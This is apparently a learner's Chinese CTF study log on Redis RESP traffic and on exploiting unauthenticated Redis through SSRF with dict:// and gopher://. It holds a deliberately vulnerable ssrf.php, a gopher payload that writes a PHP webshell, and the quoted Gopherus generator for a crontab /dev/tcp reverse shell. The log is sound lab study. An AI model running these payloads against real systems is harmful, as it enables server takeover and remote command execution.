    [Window size scaling factor: -1 (unknown)]
    Checksum: 0xbdf2 [unverified]
    [Checksum Status: Unverified]
    Urgent Pointer: 0
    Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
        TCP Option - No-Operation (NOP)
            Kind: No-Operation (1)
        TCP Option - No-Operation (NOP)
            Kind: No-Operation (1)
        TCP Option - Timestamps: TSval 4263709925, TSecr 14817730
            Kind: Time Stamp Option (8)
            Length: 10
            Timestamp value: 4263709925
            Timestamp echo reply: 14817730
    [Timestamps]
        [Time since first frame in this TCP stream: 0.000000000 seconds]
        [Time since previous frame in this TCP stream: 0.000000000 seconds]
    [SEQ/ACK analysis]
        [Bytes in flight: 34]
        [Bytes sent since last PSH flag: 34]
    TCP payload (34 bytes)

1️⃣ 端口号(端点标识)

Src Port: 54598
Dst Port: 6379

  • Src Port = 54598 → 客户端随机端口

  • Dst Port = 6379 → Redis 服务端口(默认端口)

  • 端口号决定 哪一个应用程序 在发送/接收数据

    • IP 层只到主机

    • TCP 层到具体程序

🔹 类比:IP 是信封上写的收件人地址,TCP 端口是信封里信纸上的“部门 / 柜台”。


2️⃣ TCP 标志(Flags)

Flags: 0x018 (PSH, ACK)

详细拆解:

标志位 意义
URG 0 无紧急数据
ACK 1 确认号有效(确认对方数据已收到)
PSH 1 Push → 立即把数据交给应用程序
RST 0 不重置连接
SYN 0 非建立连接包
FIN 0 非关闭连接包

Wireshark 还用相对位置画成:

·······AP···

  • A → ACK

  • P → PSH

🔹 总结:这是一个 数据传输包(不是握手或关闭),客户端正在推送 Redis 请求。


3️⃣ 序列号与确认号

Sequence Number: 1 (relative)
Acknowledgment Number: 1

  • Sequence Number (SEQ) → 本包的第一个字节在 TCP 流里的编号

    • raw = 372651116 → Wireshark 把它相对化(方便理解)

  • Acknowledgment Number (ACK) → 对方已经收到的数据序号

  • Next Sequence Number → 35 → 本包发送 34 字节数据,下一次 SEQ = 35

🔹 总结:TCP 用 SEQ/ACK 保证 可靠、顺序传输


4️⃣ 头部长度(Header Length)

1000 .... = Header Length: 32 bytes (8)

  • TCP 头最小 20 bytes

  • 这里 32 bytes → 有 12 bytes 选项(NOP + NOP + Timestamps)

  • 高 4 位表示 TCP 头长度(32-bit 字为单位)


5️⃣ 窗口大小(Window)

Window: 249

  • TCP 接收方的 接收缓冲区大小 → 控制流量

  • Wireshark 可以算出“可用窗口”和“滑动窗口机制”


6️⃣ 校验和与紧急指针

Checksum: 0xbdf2 [unverified]
Urgent Pointer: 0

  • 校验和用于 检测 TCP 包是否损坏

  • 紧急指针 = 0 → 没有 URG 数据


7️⃣ TCP 选项

Options: (12 bytes), NOP, NOP, Timestamps
TSval: 4263709925, TSecr: 14817730

  • NOP → 占位(对齐用)

  • Timestamp → RTT 测量、序列号验证

  • 这些都是 TCP 扩展,提高性能和可靠性


8️⃣ TCP Payload(应用层数据)

TCP payload (34 bytes)

  • 真正的 Redis 请求数据

  • Wireshark 会把它交给 Redis 解析器 → RESP 格式:config get dir

🔹 总结:TCP 层确保数据可靠、有序、可控;而 payload 才是应用层的命令或消息。


🔥 总结 TCP 层抓包解析流程

  1. 端口号 → 指定应用

  2. Flags → 控制连接状态和数据推送

  3. SEQ/ACK → 保证可靠、顺序传输

  4. 窗口大小 → 流量控制

  5. Header Length / Options → 扩展功能(时间戳等)

  6. Payload → 上层应用数据(Redis 命令)

REdis Serialization Protocol
    Array: Length 3
        Length: 3
        Bulk String: config
            Length: 6
            Value: 636f6e666967
        Bulk String: get
            Length: 3
            Value: 676574
        Bulk String: dir
            Length: 3
            Value: 646972

1️⃣ 协议类型

REdis Serialization Protocol

  • 也叫 RESP (Redis Serialization Protocol)

  • Redis 用它在客户端和服务端之间传输命令和数据

  • 特点:

    • 简单文本+长度标记 → 易解析

    • 可以表示数组、字符串、整数等类型


2️⃣ Redis 命令解析

Array: Length 3
Bulk String: config
Bulk String: get
Bulk String: dir

  • Array: Length 3 → 一个数组,包含 3 个元素

  • Bulk String → 表示一个完整字符串,每个元素都是一个字符串

详细说明:

元素 类型 长度 Hex
1 Bulk String 6 config 63 6f 6e 66 69 67
2 Bulk String 3 get 67 65 74
3 Bulk String 3 dir 64 69 72

🔹 对应 Redis 命令:CONFIG GET dir

  • 客户端向 Redis 请求数据库路径(dir 配置项)


3️⃣ 这一层的意义

  • Payload = 34 bytes(前面 TCP 里标注的)

  • Redis 协议解析后 → 能直接看出 客户端发了什么命令

  • TCP 保证这个数据 可靠送达,IP 保证 到达正确主机,Ethernet 保证 送到正确机器网卡

所以抓包时:

  • Frame → 整个数据包

  • Ethernet → 谁收谁

  • IP → 哪台主机

  • TCP → 哪个应用端口、顺序可靠

  • Redis → 具体命令内容


🔥 总结抓包层次

Frame (信封)
└─ Ethernet II (MAC 地址)
└─ IPv4 (源/目标 IP)
└─ TCP (源/目标端口, SEQ/ACK, Flags)
└─ Redis Payload (CONFIG GET dir)

每一层都有自己的职责,最终应用层才能处理业务数据。

1️⃣ 分层解析
网络抓包过程可分层理解如下:

Frame (Ethernet)
└─ IP (IPv4)
└─ TCP
└─ Payload (Redis/HTTP/其他应用)

  • 应用层(如Redis Payload):包含实际业务指令(如CONFIG GET dir
  • 传输层及以下(TCP/IP/Ethernet):由操作系统网络栈自动处理
    • TCP层:负责序列号、确认号、重传机制和校验和
    • IP层:管理源/目的IP地址
    • Ethernet层:处理MAC地址转换

2️⃣ 开发工具选择
支持多种实现方式:

  • redis-cli
  • Python(redis-py/hiredis)
  • netcat/telnet

只需关注应用层RESP协议格式的指令编写,底层协议由系统自动封装。

Python示例(发送Redis指令):

import socket
s = socket.socket()
s.connect(("192.168.176.135", 6379))
s.send(b"*3\r\n$6\r\nconfig\r\n$3\r\nget\r\n$3\r\ndir\r\n") 
print(s.recv(1024))
s.close()

注:SEQ/ACK、端口号、MAC地址等底层字段均由系统处理。

3️⃣ 完整数据包构造
典型应用场景:

  • 网络包注入
  • 自定义TCP协议栈开发
  • 中间人攻击模拟

⚠️ 注意事项:
需手动处理校验和、序列号、窗口大小、TTL等字段,实现复杂度较高。

🔹 核心原则:
常规客户端开发 → 专注应用层逻辑
底层协议控制 → 交由系统网络栈处理

💡 形象类比:
使用redis-cli → 如同在邮局书写信件内容
TCP/IP/Ethernet → 相当于邮局自动完成贴邮票、路由选择、物流运输

1️⃣ 分层解析
网络抓包过程可分层理解如下:

Frame (Ethernet)
└─ IP (IPv4)
└─ TCP
└─ Payload (Redis/HTTP/其他应用)

  • 应用层(如Redis Payload):包含实际业务指令(如CONFIG GET dir
  • 传输层及以下(TCP/IP/Ethernet):由操作系统网络栈自动处理
    • TCP层:负责序列号、确认号、重传机制和校验和
    • IP层:管理源/目的IP地址
    • Ethernet层:处理MAC地址转换

2️⃣ 开发工具选择
支持多种实现方式:

  • redis-cli
  • Python(redis-py/hiredis)
  • netcat/telnet

只需关注应用层RESP协议格式的指令编写,底层协议由系统自动封装。

Python示例(发送Redis指令):

注:SEQ/ACK、端口号、MAC地址等底层字段均由系统处理。

3️⃣ 完整数据包构造
典型应用场景:

  • 网络包注入
  • 自定义TCP协议栈开发
  • 中间人攻击模拟

⚠️ 注意事项:
需手动处理校验和、序列号、窗口大小、TTL等字段,实现复杂度较高。

🔹 核心原则:
常规客户端开发 → 专注应用层逻辑
底层协议控制 → 交由系统网络栈处理

💡 形象类比:
使用redis-cli → 如同在邮局书写信件内容
TCP/IP/Ethernet → 相当于邮局自动完成贴邮票、路由选择、物流运输

你抓包里看到的 *3 $6 config $3 get $3 dirRESP 协议格式,这是 Redis 协议规定的,但 redis-cli 不需要你手动写,它帮你封装了。


1️⃣ redis-cli 内部做了什么

当你在终端输入:

redis-cli CONFIG GET dir

  • 命令解析

    • redis-cli 把你输入的 空格分隔命令 CONFIG GET dir 分成 3 个参数:CONFIG, GET, DIR

  • RESP 封装

    • 自动生成 RESP 协议:

      *3\r\n
      $6\r\nconfig\r\n
      $3\r\nget\r\n
      $3\r\ndir\r\n

    • 这是抓包里看到的 TCP Payload

  • 发送给服务器

    • 底层 TCP/IP/Ethernet 都由操作系统处理


2️⃣ netcat 或 Python socket 直接发送

如果你用 nc / Python socket,就没有 CLI 自动封装功能,你就必须自己写 RESP 格式,否则 Redis 不能解析:

# 错误写法
echo "CONFIG GET dir" | nc 192.168.176.135 6379
# Redis 会报错,因为不是 RESP 格式

# 正确写法,需要RESP封装
s.send(b"*3\r\n$6\r\nconfig\r\n$3\r\nget\r\n$3\r\ndir\r\n")

⚡ 核心:redis-cli 就是把人类可读命令RESP 格式 → 发给 TCP
所以你抓包看到的 RESP 是TCP payload 的真实内容,但 CLI 用户不需要手动写。


3️⃣ 总结

使用方式 需要写 RESP 吗? 需要写 TCP/IP/Ethernet 吗?
redis-cli 不用,CLI 自动封装 不用,系统网络栈处理
netcat / Python socket 需要自己写 不用,系统网络栈处理
手工构造 Frame / 自己实现 TCP 需要写 需要手工写全部字段

🔹 所以 CTF 模拟 Redis 攻击:

  • 用 redis-cli → 只写 CONFIG GET dir 就够了

  • 用 netcat / socket → 需要手动写 RESP

所以到这里可以知道在redis-cli传的会帮你自动封装,安装菜鸟教程的就可以正常使用命令,要手写tcp不现实,但是可以用python,自己写RESP协议就行,就是相当于自己写应用层数据,redis-cli你写的不是完整的应用层数据,redis-cli会帮你完善resp协议。

resp协议官方教程

Redis serialization protocol specification | Docs

但是是英文的

中文版的

Redis 序列化协议规范 | Docs - Redis 文档

正好测试一下,确实啊,它返回ok的时候wireshark抓到的应用层的包就是+ok\r\n

核心结论先摆清楚

类型 标识字符 核心作用 适用场景 关键特点
简单字符串 + 服务器返回 “短、简单的成功 / 状态信息” 服务器回复OKPONG 只能是纯文本,不能含\r\n,长度短
批量字符串 $ 传输 “任意长度的字符串 / 二进制数据” 客户端发命令参数、服务器返回具体值 二进制安全,支持任意数据,带长度标识
数组 * 封装 “多个数据(命令 + 参数)” 客户端发送 Redis 命令(核心!) 元素可以是任意 RESP 类型

一、简单字符串(+):服务器的 “简短回复”

1. 本质

服务器返回的短、无换行的纯文本信息,只有 “状态提示” 作用,不能传复杂数据。

2. 格式

+ + 字符串内容 + \r\n

3. 例子(你抓包能看到)
  • 客户端认证成功,服务器回复:+OK\r\n
  • 客户端发PING,服务器回复:+PONG\r\n
4. 核心限制
  • 只能是纯 ASCII 文本,不能包含\r\n(否则服务器解析出错);
  • 长度通常很短,只用来返回 “成功 / 失败” 类的简单状态,客户端绝不会用它发命令

二、批量字符串($):传输 “任意数据” 的核心

1. 本质

RESP 里最常用的类型,专门用来传输 “单个、任意长度” 的字符串 / 二进制数据(比如命令参数、Redis 的 key/value)。

2. 格式

$ + 数据字节数 + \r\n + 数据内容 + \r\n

3. 例子(你抓包的核心)
  • 传输config$6\r\nconfig\r\n(6 是config的字节数);
  • 传输密码123123$6\r\n123123\r\n
  • 传输含空格的字符串zhangsan lisi$11\r\nzhangsan lisi\r\n(11 是总字节数);
  • 传输空值(比如获取不存在的 key):$-1\r\n(特殊变体,表示 null)。
4. 核心优势
  • 二进制安全:不管数据里有空格、\r\n$*等特殊字符,服务器都会按 “字节数” 精准读取,不会误判;
  • 长度明确:服务器不用扫描字符,直接按长度读取,效率极高。

三、数组(*):封装 “命令 + 参数” 的容器

1. 本质

专门用来打包多个 RESP 数据,是客户端发送 Redis 命令的唯一格式(没有例外)。

2. 格式

* + 元素个数 + \r\n + 每个元素的 RESP 编码(通常是批量字符串)

3. 例子(你实操的核心)
  • 发送AUTH 123123*2\r\n$4\r\nAUTH\r\n$6\r\n123123\r\n*2:数组有 2 个元素;→ 第一个元素:$4\r\nAUTH\r\n(批量字符串,AUTH);→ 第二个元素:$6\r\n123123\r\n(批量字符串,123123)。
  • 发送config get dir*3\r\n$6\r\nconfig\r\n$3\r\nget\r\n$3\r\ndir\r\n*3:数组有 3 个元素;→ 三个元素都是批量字符串(config、get、dir)。
4. 核心特点
  • 数组的元素可以是任意 RESP 类型(比如批量字符串、整数、甚至另一个数组);
  • 客户端发任何 Redis 命令,都必须封装成 “批量字符串组成的数组”,服务器只认这种格式。

四、用你抓包的场景串起来(一看就懂)

  1. 客户端发命令:必须用*(数组)封装多个$(批量字符串),比如config get dir*3+$6+config+$3+get+$3+dir
  2. 服务器回复成功:用+(简单字符串),比如+OK\r\n
  3. 服务器回复具体值:用$(批量字符串),比如回复/tmp$4\r\n/tmp\r\n
  4. 服务器回复多个值:用*(数组)封装多个$(批量字符串),比如回复dir/tmp*2\r\n$3\r\ndir\r\n$4\r\n/tmp\r\n

它这里也写了是用数组的格式传命令

这里大概已经了解如何用它的协议写命令了

搭建了一个ssrf 打redis未授权的环境

ssrf.php

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
echo curl_exec($ch);
curl_close($ch);

先本地测一下

探测一下端口

dict协议是啥呢

192.168.176.135/ssrf.php?url=dict://127.0.0.1:6379/info

找到用ssrf 的包了

纯发info的脚本

import socket

s = socket.socket()
s.connect(("192.168.176.135", 6379))

s.send(b"info\r\n")
data = s.recv(4096)

print(data.decode())
s.close()

这个是一点报错都没有了

这里疑惑之前不是传命令都是要用类似

吗,为啥现在可以直接传

误会了,它应该就是可以直接传字符串的。

ai的解释

在 Redis 官方文档:

👉 Redis Serialization Protocol (RESP)
👉 旧版本文档里叫 “Unified Request Protocol”

里面有专门一节叫:

Inline Commands

文档原话大概意思是:

Redis also accepts commands in a simple inline format, similar to telnet.

意思是:

Redis 也接受类似 telnet 的简单文本命令格式。

反正知道可以用字符串传命令了

DICT协议在SSRF中的妙用

核心概念

DICT协议本是字典查询协议,但在SSRF攻击中可作为"发送TCP明文数据的工具"。

协议基础

  • 本质:古老的词典查询协议(默认端口2628)
  • 工作流程
    • 客户端发送:DEFINE word
    • 服务端返回:单词释义
  • 特点:基于明文TCP协议

CTF中的妙用

libcurl实现的dict://协议本质是:

  1. 建立TCP连接
  2. /后的内容作为单行数据发送(自动追加\r\n

即:dict://目标IP:端口/内容 等价于向该端口发送 内容\r\n

实例演示

访问:dict://127.0.0.1:6379/INFO 实际发送:INFO\r\n Redis会将其解析为INFO命令执行

SSRF应用场景

可用于:

  • 端口探测
  • 发送简单命令
  • 服务识别(Redis/Memcached/MySQL等)
  • 原理:多数服务基于TCP明文协议通信

DICT协议在SSRF中的妙用

核心概念

DICT协议本是字典查询协议,但在SSRF攻击中可作为"发送TCP明文数据的工具"。

协议基础

  • 本质:古老的词典查询协议(默认端口2628)
  • 工作流程
    • 客户端发送:DEFINE word
    • 服务端返回:单词释义
  • 特点:基于明文TCP协议

CTF中的妙用

libcurl实现的dict://协议本质是:

  1. 建立TCP连接
  2. /后的内容作为单行数据发送(自动追加\r\n

即:dict://目标IP:端口/内容 等价于向该端口发送 内容\r\n

实例演示

访问:dict://127.0.0.1:6379/INFO 实际发送:INFO\r\n Redis会将其解析为INFO命令执行

但是

ssrf.php代码是

<?php
// 解决中文乱码
header("Content-Type: text/plain; charset=utf-8");

$ch = curl_init();
$url = $_GET['url'];
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
// 关键:强制curl不等待连接关闭,拿到数据就返回
curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 2);  // 连接超时设为2秒
// 禁用SSL(避免干扰)
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
echo "响应内容:" . $response . "\n";

// 打印错误信息(调试)
if(curl_errno($ch)){
    echo "CURL错误码:" . curl_errno($ch) . "\n";
    echo "CURL错误信息:" . curl_error($ch) . "\n";
}
curl_close($ch);
echo "传入的URL:" . $url . "\n";
?>

在centos里面curl发现curl完并没有退出


ctrl +c 才退出了

你说得完全对!这就是你 PHP 代码里 curl 返回超时错误(错误码 28)的根本原因—— 和你本地 curl 卡住需要 Ctrl+C 退出是同一个逻辑,只是表现形式不同:

核心因果链(一句话说透)

Redis 长连接不主动关闭 → curl 默认等连接关闭才停止读取 → 哪怕已经收到了 2895 字节的完整响应,也会一直等 → 直到触发你代码里CURLOPT_TIMEOUT=5的 5 秒超时 → curl 判定 “超时失败”,返回错误码 28,同时告诉你 “其实已经收到了 2895 字节”。

拆解错误信息的每一个细节

CURL错误码:28 → 对应CURLE_OPERATION_TIMEDOUT(操作超时)
CURL错误信息:Operation timed out after 5002 milliseconds with 2895 bytes received
  • after 5002 milliseconds:curl 等了 5 秒(略超你设置的 5 秒超时),没等到 Redis 关闭连接;
  • with 2895 bytes received:curl 其实已经完整收到了 Redis 返回的 2895 字节 info 响应(和你抓包 / 本地 curl 看到的 2886/2887 字节一致,只是字节数因 Redis 实时状态略有变化);
  • 关键矛盾:curl “收到了完整数据”,但因为 “没等到连接关闭”,依然判定为 “超时失败”,所以返回错误码 28,而不是把收到的 2895 字节完整返回给你。

为什么本地 curl 和 PHP curl 表现不同?

场景 现象 本质
本地 curl 打印完整响应,但卡住需 Ctrl+C curl 拿到数据后,还在等 Redis 关连接,手动终止后才退出;
PHP curl 报错超时(码 28),但提示收到 2895 字节 PHP 的 curl 到 5 秒超时后,强制终止并返回错误,不会像本地 curl 那样打印已收到的数据;

怎么彻底解决这个错误?

只需要给 PHP 的 curl 加超时参数缩短到 1 秒(Redis 返回响应只需要几毫秒,1 秒足够),让 curl 在 “拿到完整数据后、Redis 关连接前” 就主动终止,既拿到完整响应,又不触发超时错误:

<?php
header("Content-Type: text/plain; charset=utf-8");

// 全局变量:存储实时收到的数据
$redis_response = '';

// 回调函数:每收到一点数据,就追加到$redis_response里
function captureData($ch, $data) {
    global $redis_response;
    $redis_response .= $data; // 核心:不管超不超时,先把数据存起来
    return strlen($data);     // 告诉curl“我已处理完这些数据”
}

$ch = curl_init();
$url = $_GET['url'];
curl_setopt_array($ch, [
    CURLOPT_URL => $url,
    CURLOPT_RETURNTRANSFER => 1,  // 这个参数可以保留,但数据靠回调拿
    CURLOPT_TIMEOUT => 1,         // 1秒超时,避免卡住
    CURLOPT_CONNECTTIMEOUT => 1,
    CURLOPT_WRITEFUNCTION => 'captureData', // 关键:实时捕获数据
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
]);

// 执行请求(哪怕超时,回调也已经把数据存到$redis_response里了)
curl_exec($ch);

// 输出结果(不管curl报不报错,都能拿到数据)
echo "响应内容:\n" . $redis_response . "\n";
echo "响应字节数:" . strlen($redis_response) . "\n";

// 打印错误(仅作调试,不影响数据获取)
if(curl_errno($ch)){
    echo "CURL错误码:" . curl_errno($ch) . "\n";
    echo "CURL错误信息:" . curl_error($ch) . "\n";
}
curl_close($ch);
echo "传入的URL:" . $url . "\n";
?>

这个脚本就可以回显了

虽然其实redis未授权利用的时候不需要回显,这个可能别人一般不会这么写,其实用dict协议探测完可以直接利用的,我只是在测试我的环境,没想到又踩坑了。

用curl的话要二次编码,

你之所以在使用 curl 调用 gopher 协议攻击 Redis 时需要二次编码,核心是curl 对 gopher URL 的 “双层解析规则” —— 它会比file_get_contents多做一次 URL 解码,导致一次编码的 payload 被篡改,必须通过二次编码抵消这个自动解码行为。我用 “常规开发视角 + 实战场景” 把这个逻辑讲透,让你明白背后的本质而非死记规则:

一、先搞懂:URL 编码的核心是 “转义特殊字符”

Redis 的 RESP 命令依赖\r\n%0D%0A)、$%24)等特殊字符,这些字符在 URL 中是 “保留字符”,必须编码后才能正常传输:

  • 原始 RESP 命令:*1\r\n$4\r\ninfo\r\n
  • 一次 URL 编码(给网络传输用):*1%0D%0A%244%0D%0Ainfo%0D%0A\r%0D\n%0A$%24

二、curl 的 “坑”:自动做一次 URL 解码

curl 是为 HTTP 协议设计的工具,处理gopher://URL 时,会先执行一次 URL 解码,再把解码后的内容发给目标端口 —— 这是你必须二次编码的根本原因:

1. 只做一次编码的后果(失败)
你传入的URL:gopher://127.0.0.1:6379/_*1%0D%0A%244%0D%0Ainfo%0D%0A
↓ curl自动解码一次
发给Redis的内容:*1\r\n$4\r\ninfo\r\n → 看似正确?

但实际 curl 会把解码后的\r\n当成 “HTTP 换行符” 二次处理,最终发给 Redis 的内容变成*1\n$4\ninfo\n(丢失\r),Redis 解析 RESP 协议失败,返回-ERR Protocol error

2. 二次编码的逻辑(成功)
原始RESP:*1\r\n$4\r\ninfo\r\n
↓ 一次编码(给curl解码用):*1%0D%0A%244%0D%0Ainfo%0D%0A
↓ 二次编码(抵消curl的自动解码):*1%250D%250A%25244%250D%250Ainfo%250D%250A
你传入的URL:gopher://127.0.0.1:6379/_*1%250D%250A%25244%250D%250Ainfo%250D%250A
↓ curl自动解码一次
发给Redis的内容:*1%0D%0A%244%0D%0Ainfo%0D%0A
↓ Redis解析URL编码
最终执行的命令:*1\r\n$4\r\ninfo\r\n(完全正确)

关键:二次编码把%转成%25,curl 解码后还原出一次编码的结果,Redis 再解码一次,刚好得到正确的 RESP 命令。

三、对比:为什么file_get_contents不用二次编码?

file_get_contents是 PHP 原生的文件读取函数,处理gopher://URL 时没有 “自动解码” 步骤—— 它会把_后面的内容 “原封不动” 发给目标端口:

plaintext

你传入的URL:gopher://127.0.0.1:6379/_*1%0D%0A%244%0D%0Ainfo%0D%0A
↓ file_get_contents直接传输
发给Redis的内容:*1%0D%0A%244%0D%0Ainfo%0D%0A
↓ Redis解码一次
最终执行的命令:*1\r\n$4\r\ninfo\r\n(正确)

这也是常规开发中,遇到 gopher SSRF 时优先用file_get_contents的原因 —— 少一层解析,少踩坑。

SSRF应用场景

可用于:

  • 端口探测
  • 发送简单命令
  • 服务识别(Redis/Memcached/MySQL等)
  • 原理:多数服务基于TCP明文协议通信

这个就是它用curl有额外的字符串。

先手写一个吧

set a aaa

对应的

*3
$3
set
$1
a
$3
aaa

这时候就可以学习用脚本生成了

a='''*3
$3
set
$1
a
$3
aaa'''
payload=''
a.split('\n')
# print (a.split('\n'))
for i in a.split('\n'):
 payload+=i+"\\r\\n"
print(payload)

但是还需要编码

编码两次发现打不通改成一次的看了下。发现\r的它没给\r整体编码只给斜杠编码了

这个脚本成了

from urllib.parse import quote
a='''*3
$3
set
$1
a
$3
aaa'''
payload=''
a.split('\n')
# print (a.split('\n'))
for i in a.split('\n'):
 payload+=quote(i)+"%0d%0a"
print(payload)

from urllib.parse import quote

# 待编码的字符串(包含中文、空格、特殊符号)
original_str = payload

# 基础编码(默认编码为UTF-8,推荐)
encoded_str = quote(original_str)
# encoded_str= quote(encoded_str)
print("编码结果:", encoded_str)  

所以到这里其实后续就是换命令罢了

嗯,先用下工具来学习吧

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

url解码是

gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$34


<?php system($_GET['cmd']); ?>


*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

确实只是换了命令

突然想起我之前好像接触了很多次gopher协议了

但是之前只是用工具打的。

总结一下curl gopher 

完全理解你的疑惑,这也是 SSRF 实战里最难的地方之一:你不控制服务端,无法直接知道它底层用的是什么,所以就有几个要点和策略:


1️⃣ 常见 SSRF 调用方式和协议支持

方法 PHP 常用实现 支持的协议 特点
file_get_contents($url) 内置 PHP 函数 http, https, ftp, file, php, data, glob, zlib 等(看 allow_url_fopenstream_get_wrappers() 不支持 gopherdict 默认
cURL curl_init() 支持的协议取决于编译时 --with-protocols,常见:http, https, ftp, ftps, gopher, dict, file 可以支持 gopher,用来发 RESP
Guzzle / 其他 HTTP 客户端 PHP Composer 库 基于 cURL 或 stream 和上面类似

✅ 结论:如果你要用 gopherdict,只有 cURL 或底层支持 gopher 的库才能成功。file_get_contents 默认通常不支持 gopher。

你可以通过 phpinfo() 或以下方式确认:

<?php
print_r(stream_get_wrappers()); // file_get_contents 支持的协议
print_r(curl_version()['protocols']); // cURL 支持的协议
?>


2️⃣ 如何判断 SSRF 能用哪些协议

  • 试探法:用 URL 先试简单的协议:

http://target/ssrf.php?url=http://example.com
file://etc/passwd
gopher://127.0.0.1:6379/_*1%0D%0A$4%0D%0APING%0D%0A

  • 响应观察

    • 如果报 Invalid schema → 不支持

    • 如果超时、没响应 → 可能支持,但阻塞中

  • PHP 的 allow_url_fopen 决定 file_get_contents 能否访问 URL 协议。

666这文章虚晃一枪,

file_get_contents不支持gopher协议。

<?php
print_r(stream_get_wrappers());  // file_get_contents 支持的协议
echo "<br>";
print_r(curl_version()['protocols']); // cURL 支持的协议
?>

gopherus脚本观摩一下

# 导入URL编码模块,用于将Redis命令的特殊字符转义为URL安全格式
import urllib

# 定义核心功能类:Redis SSRF攻击payload生成器
# 作用:自动构造gopher协议的Redis攻击payload,支持生成反向Shell和PHP一句话木马两种场景
def Redis():
    # 子函数1:生成Redis反向Shell的gopher payload
    def get_Redis_ReverseShell():
        # 1. 接收用户输入:攻击机IP(用于反向连接),默认127.0.0.1(本地测试用)
        server = raw_input("\033[96m" +"\nGive your IP Address to connect with victim through Revershell (default is 127.0.0.1): "+ "\033[0m")
        # 2. 接收用户输入:目标机crontab目录(定时任务目录),默认/var/spool/cron/(Linux通用路径)
        crontab_dir = raw_input("\033[96m" +"What can be his Crontab Directory location\n## For debugging(locally) you can use /var/lib/redis : "+ "\033[0m")
        
        # 3. 处理默认值:用户未输入则使用默认值
        if(not server):
            server = "127.0.0.1"
        if(not crontab_dir):
            crontab_dir = "/var/spool/cron/"
        
        # 4. 构造反向Shell命令(每分钟执行一次,连接攻击机1234端口)
        #    bash -c "sh -i >& /dev/tcp/攻击机IP/1234 0>&1":经典Linux反向Shell写法
        cmd = '*/1 * * * * bash -c "sh -i >& /dev/tcp/' + server + '/1234 0>&1"'
        
        # 5. 计算Redis SET命令中value的长度(RESP协议要求明确长度)
        #    +5是因为payload中包含换行/空格等隐藏字符,兼容Redis的RESP解析规则
        len_cmd = len(cmd) + 5
        
        # 6. 构造Redis攻击命令的原始payload(RESP协议格式)
        #    RESP协议规则:*数字=数组元素个数,$数字=字符串长度,\r\n=分隔符
        payload = """*1\r          # 数组长度1:执行flushall命令(清空Redis所有数据,避免干扰)
$8\r          # 字符串长度8:"flushall"的字符数
flushall\r    # 清空Redis数据
*3\r          # 数组长度3:执行set命令(set 1 '反向Shell命令')
$3\r          # 字符串长度3:"set"的字符数
set\r         # SET命令:用于写入数据到Redis
$1\r          # 字符串长度1:key名"1"的字符数
1\r           # Redis的key名:自定义为1(任意值均可)
$""" + str(len_cmd) + """\r  # 字符串长度:反向Shell命令的总长度(含隐藏字符)


""" + cmd + """  # 核心:写入crontab的反向Shell命令


\r
*4\r          # 数组长度4:执行config set dir命令(修改Redis数据目录)
$6\r          # 字符串长度6:"config"的字符数
config\r      # CONFIG命令:用于修改Redis配置
$3\r          # 字符串长度3:"set"的字符数
set\r         # SET子命令:修改配置项
$3\r          # 字符串长度3:"dir"的字符数
dir\r         # 配置项:Redis数据存储目录
$""" + str(len(crontab_dir)) + """\r  # 字符串长度:crontab目录的字符数
""" + crontab_dir + """\r  # 设置Redis数据目录为crontab目录(用于写入定时任务)
*4\r          # 数组长度4:执行config set dbfilename命令(修改Redis持久化文件名)
$6\r          # 字符串长度6:"config"的字符数
config\r
$3\r          # 字符串长度3:"set"的字符数
set\r
$10\r         # 字符串长度10:"dbfilename"的字符数
dbfilename\r  # 配置项:Redis持久化文件名
$4\r          # 字符串长度4:"root"的字符数
root\r        # 设置持久化文件名为root(对应/var/spool/cron/root,Linux root用户的定时任务文件)
*1\r          # 数组长度1:执行save命令(强制Redis持久化,将数据写入文件)
$4\r          # 字符串长度4:"save"的字符数
save\r        # SAVE命令:触发Redis把内存数据写入磁盘(关键!将命令写入crontab文件)

"""
        # 7. URL编码处理:将payload转为URL安全格式(适配SSRF的url参数)
        #    quote_plus:基础URL编码(空格→+,特殊字符→%xx)
        #    replace("+","%20"):将+还原为%20(避免curl/file_get_contents解析异常)
        #    replace("%2F","/"):保留/不编码(Redis路径需要/)
        #    replace("%25","%"):避免二次编码(适配file_get_contents场景)
        #    replace("%3A",":"):保留:不编码(IP:端口中的:)
        finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
        
        # 8. 输出最终的gopher协议攻击链接(可直接用于SSRF漏洞)
        print "\033[93m" +"\nYour gopher link is ready to get Reverse Shell: \n"+ "\033[0m"
        print "\033[04m" +"gopher://127.0.0.1:6379/_" + finalpayload+ "\033[0m"
        # 提示用户:攻击前需在攻击机监听1234端口(nc -lvp 1234)
        print "\033[01m" +"\nBefore sending request plz do `nc -lvp 1234`"+ "\033[0m"
        print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"


    # 子函数2:生成Redis PHP一句话木马的gopher payload
    def get_Redis_PHPShell():
